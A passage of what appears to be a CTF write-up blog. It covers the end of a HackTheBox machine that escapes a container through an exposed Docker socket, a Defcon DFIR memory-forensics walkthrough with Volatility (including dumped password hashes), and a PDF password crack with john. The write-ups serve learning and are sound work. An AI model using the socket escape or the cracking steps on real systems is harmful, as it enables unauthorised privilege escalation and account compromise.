100K .......... .......... .......... .......... .......... 40% 32.3M 0s
150K .......... .......... .......... .......... .......... 54% 7.64M 0s
200K .......... .......... .......... .......... .......... 68% 12.8M 0s
250K .......... .......... .......... .......... .......... 81% 6.75M 0s
300K .......... .......... .......... .......... .......... 95% 522K 0s
350K .......... ...... 100% 135M=0.1s

2020-09-02 07:14:12 (2.58 MB/s) - ‘socat’ saved [375176/375176]

root@2d24bf61767c:~# chmod +x socat
chmod +x socat

socat - UNIX-CONNECT:/var/run/docker.sock

POST /containers/2aba/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

and if it sucess, we receive

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

and we are able to access the folder and get the root flag now.




root

HackTheBox-Hard
Continue
Defcon DFIR memory forensic CTF 2019

Memory Image: https://www.dropbox.com/sh/4qfk1miauqbvqst/AAAVCI1G8Sc8xMoqK_TtmSbia?dl=0

Question 1:

What is the SHA1 hash of triage.mem?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution:

kali Desktop/forensic_images » sha1sum memory.mem 
c95e8cc8c946f95a109ea8e47a6800de10a27abd memory.mem

Question 2:

What profile is the most appropriate for this machine? (ex: Win10x86_14393)

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

The first step of volatility is always find the image info of the memory dump.

kali Desktop/forensic_images » volatility imageinfo -f memory.mem 
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/forensic_images/memory.mem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf800029f80a0L
Number of Processors : 2
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff800029f9d00L
KPCR for CPU 1 : 0xfffff880009ee000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2019-03-22 05:46:00 UTC+0000
Image local date and time : 2019-03-22 01:46:00 -0400

Got the answer as Win7SP1x64

Question 3:

What was the process ID of notepad.exe?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution:

We indicated the profile and use the pslist plugin to print all the running process

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 pslist | grep notepad
Volatility Foundation Volatility Framework 2.6
0xfffffa80054f9060 notepad.exe 3032 1432 1 60 1 0 2019-03-22 05:32:22 UTC+0000

and we got the answer pid as 3032

Question 4:

Name the child processes of wscript.exe.

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution:

pstree will indicate child process using idention and periods.

Let’s grep the top and bottom 3 line of process wscript.exe

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 pstree | grep -C 3 wscript.exe 
Volatility Foundation Volatility Framework 2.6
. 0xfffffa8004798320:calc.exe 3548 1432 3 77 2019-03-22 05:34:43 UTC+0000
. 0xfffffa80053d3060:POWERPNT.EXE 4048 1432 23 765 2019-03-22 05:35:09 UTC+0000
. 0xfffffa8004905620:hfs.exe 3952 1432 6 214 2019-03-22 05:34:51 UTC+0000
.. 0xfffffa8005a80060:wscript.exe 5116 3952 8 312 2019-03-22 05:35:32 UTC+0000
... 0xfffffa8005a1d9e0:UWkpjFjDzM.exe 3496 5116 5 109 2019-03-22 05:35:33 UTC+0000
.... 0xfffffa8005bb0060:cmd.exe 4660 3496 1 33 2019-03-22 05:35:36 UTC+0000
. 0xfffffa80054f9060:notepad.exe 3032 1432 1 60 2019-03-22 05:32:22 UTC+000

and we got the answer UWkpjFjDzM.exe

Question 5:

What was the IP address of the machine at the time the RAM dump was created?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution:

We have to find the ip address, using the plugin netscan

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 netscan | grep -v '127.0.0.1\|0.0.0.0'

Use grep to filter localhost ip address. The owner of system process svchost.exe seems bind to ip address 10.0.0.101:55736 which is the IP address when the RAM dump is created

image-20200822132847349

Question 6

Based on the answer regarding to the infected PID, can you determine what the IP of the attacker was?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution

Going back to question 4 we found out the malicious process is UWkpjFjDzM.exe

Still using the same netscan plugin,we find out there’s a connection to 10.0.0.106 port 4444 is one of the favorite port for malicious connection from hacker

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 netscan | grep UWkpjFjDzM.exe         
Volatility Foundation Volatility Framework 2.6
0x13e397190 TCPv4 10.0.0.101:49217 10.0.0.106:4444 ESTABLISHED 3496 UWkpjFjDzM.exe

So the malicious hacker ip is 10.0.0.106

Question 7

What process name is VCRUNTIME140.dll associated with?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution

We have to use the dlllist plugin

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 dlllist > dlllist

We find the keyword dll VCRUNTIME140.dll

we found the malicious software OfficeClickToRun.exe

However beware that the process name should be OfficeClickToR

image-20200822134112881

Question 8

What is the md5 hash value the potential malware on the system?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution :

We are not able to identify the hash directly in memory dump.

We have to use one of the volatility function Procdump

At first I though the malicious process is OfficeClickToR

but it appears to be UWkpjFjDzM.exe we found earlier one

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 procdump -p 3496 --dump-dir .
Volatility Foundation Volatility Framework 2.6
Process(V) ImageBase Name Result
------------------ ------------------ -------------------- ------
0xfffffa8005a1d9e0 0x0000000000400000 UWkpjFjDzM.exe OK: executable.3496.exe

kali Desktop/forensic_images » md5sum executable.3496.exe 
690ea20bc3bdfb328e23005d9a80c290 executable.3496.exe

and we got the md5 hash

Question 9

What is the LM hash of bobs account?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution :

Use the hashdump plugin

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 hashdump                     
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Bob:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

and we got bob’s hash

Question 10

What protections does the VAD node at 0xfffffa800577ba10 have?

Flag Format-flag<xyz>
Everything after theis what you need to submit, your answer is the xyx.

Solution

simple

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 vadinfo | grep -A 5 '0xfffffa800577ba10'                                                                                                                130
Volatility Foundation Volatility Framework 2.6
VAD node @ 0xfffffa800577ba10 Start 0x0000000000030000 End 0x0000000000033fff Tag Vad
Flags: NoChange: 1, Protection: 1
Protection: PAGE_READONLY
Vad Type: VadNone
ControlArea @fffffa8005687a50 Segment fffff8a000c4f870
NumberOfSectionReferences: 1 NumberOfPfnReferences: 0

The answer is PAGE_READONLY

Question 11

There was a VBS script run on the machine. What is the name of the script? (submit without file extension)

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution:

After some research find out that, wscript.exe is tasked with executing the VBScript files.

[What is wscript.exe?]([https://www.file.net/process/wscript.exe.html#:~:text=The%20genuine%20wscript.exe%20file,any%20harm%20to%20your%20PC.](https://www.file.net/process/wscript.exe.html#:~:text=The genuine wscript.exe file,any harm to your PC.))

Hence, we can perform a memory dump on wscript.exe and use strings to identify which VBScripts file has been executed

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 memdump -p 5116 --dump-dir .                                                                                                                              2 ↵
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing wscript.exe [ 5116] to 5116.dmp
kali Desktop/forensic_images » strings 5116.dmp| grep vbs
"C:\Windows\System32\wscript.exe" //B //NOLOGO %TEMP%\vhjReUDEuumrX.vbs
%TEMP%\vhjReUDEuumrX.vbs
%TEMP%\vhjReUDEuumrX.vbs
vbscript.dll
vbscript.pdb
vbscript
.vbs
.vbs
x86_microsoft-windows-m..ents-mdac-ado15-vbs_31bf3856ad364e35_none_9360988f60461a77
amd64_microsoft-windows-m..ents-mdac-oledb-vbs_31bf3856ad364e35_none_444030db0904e80b
amd64_microsoft-windows-m..nts-mdac-rds-ce-vbs_31bf3856ad364e35_none_17691405728212bf
amd64_microsoft-windows-scripting-vbscript_31bf3856ad364e35_none_1dd485790300b91fn
x86_microsoft-windows-m..ents-mdac-oledb-vbs_31bf3856ad364e35_none_e821955750a776d5
x86_microsoft-windows-m..nts-mdac-rds-ce-vbs_31bf3856ad364e35_none_bb4a7881ba24a189
wow64_microsoft-windows-scripting-vbscript_31bf3856ad364e35_none_28292fcb37617b1a
amd64_microsoft-windows-m..ents-mdac-ado15-vbs_31bf3856ad364e35_none_ef7f341318a38bad
vbscript
.vbs
.vbs
x86_microsoft-windows-s..-vbscript.resources_31bf3856ad364e35_en-us_fc14ed9ab50fcbf0
amd64_microsoft-windows-s..-vbscript.resources_31bf3856ad364e35_en-us_5833891e6d6d3d26
version:1|.ade:3|.adp:3|.app:3|.asp:3|.bas:3|.bat:3|.bz:3|.bz2:3|.cer:3|.chm:3|.class:3|.cmd:3|.com:3|.command:3|.cpl:3|.crt:3|.csh:3|.desktop:3|.exe:3|.fxp:3|.gz:3|.hex:3|.hlp:3|.hqx:3|.hta:3|.inf:3|.ini:3|.ins:3|.isp:3|.its:3|.job:3|.js:3|.jse:3|.ksh:3|.lnk:3|.lzh:3|.mad:3|.maf:3|.mag:3|.mam:3|.maq:3|.mar:3|.mas:3|.mat:3|.mau:3|.mav:3|.maw:3|.mda:3|.mde:3|.mdt:3|.mdw:3|.mdz:3|.msc:3|.msi:3|.msp:3|.mst:3|.ocx:3|.ops:3|.pcd:3|.pi:3|.pif:3|.prf:3|.prg:3|.pst:3|.rar:3|.reg:3|.scf:3|.scr:3|.sct:3|.sea:3|.shb:3|.shs:3|.sit:3|.tar:3|.tgz:3|.tmp:3|.url:3|.vb:3|.vbe:3|.vbs:3|.vsmacros:3|.vss:3|.vst:3|.vsw:3|.webloc:3|.ws:3|.wsc:3|.wsf:3|.wsh:3|.zip:3|.zlo:3|.zoo:3|.pdf:2|.fdf:2
version:1|shell:3|hcp:3|ms-help:3|ms-its:3|ms-itss:3|its:3|mk:3|mhtml:3|help:3|disk:3|afp:3|disks:3|telnet:3|ssh:3|javascript:1|vbscript:1|acrobat:2|mailto:2|file:2
eventvwr.exegatherNetworkInfo.vbs
slmgr.vbs
winrm.vbs
amd64_microsoft-windows-m..ents-mdac-oledb-vbs_31bf3856ad364e35_none_444030db0904e80b
.vbs
amd64_microsoft-windows-s..-vbscript.resources_31bf3856ad364e35_en-us_5833891e6d6d3d26
x86_microsoft-windows-s..-vbscript.resources_31bf3856ad364e35_en-us_fc14ed9ab50fcbf0

The answer is vhjReUDEuumrX.vbs

Question 12

An application was run at 2019-03-07 23:06:58 UTC, what is the name of the program? (Include extension)

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution

I have no clue at first, but manage to find the plugin shimache which indicates the timestamp

Caching Out: The Value of Shimcache for Investigators

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 shimcache | grep '2019-03-07 23:06:58'
Volatility Foundation Volatility Framework 2.6
2019-03-07 23:06:58 UTC+0000 \??\C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe

We find out The skype application is running

Question 13

What was written in notepad.exe in the time of the memory dump?

Flag Format-flag<xyz>
Everything after the – is what you need to submit, your answer is the xyx.

Solution

kali Desktop/forensic_images » volatility -f memory.mem --profile=Win7SP1x64 memdump -p 3032 --dump-dir .
kali Desktop/forensic_images » strings -e l 3032.dmp | grep "flag<"
flag<REDBULL_IS_LIFE>
flag<Th>
flag<Th>
flag<TheK>
flag<TheK>

The solution is straight forward, get the notepad memory dump and grep for the flag

Question 14

What is the shortname of the file at file record 59045?

Flag Format-flag<xyz>
Everything after theis what you need to submit, your answer is the xyx.
CTF
Continue
HTB::Challenge [Misc] G0ld

image-20200815132255084

After extracted the file

image-20200815132422801

The pdf file is password protected.

Search for pdf2john

image-20200815132545541

and we created the hash for john to cracked it.

By using the rockyou dictionary, we are able to get the password

john --wordlist=<rockyou.txt> <pdf_hash>

image-20200815132649389

we got the password jumanji69

after open the pdf, found morse code

image-20200815132749285

copy it and decode online

we got the flag

image-20200815132829275

hackthebox-challenge misc
Continue
Home Archives Tags About Search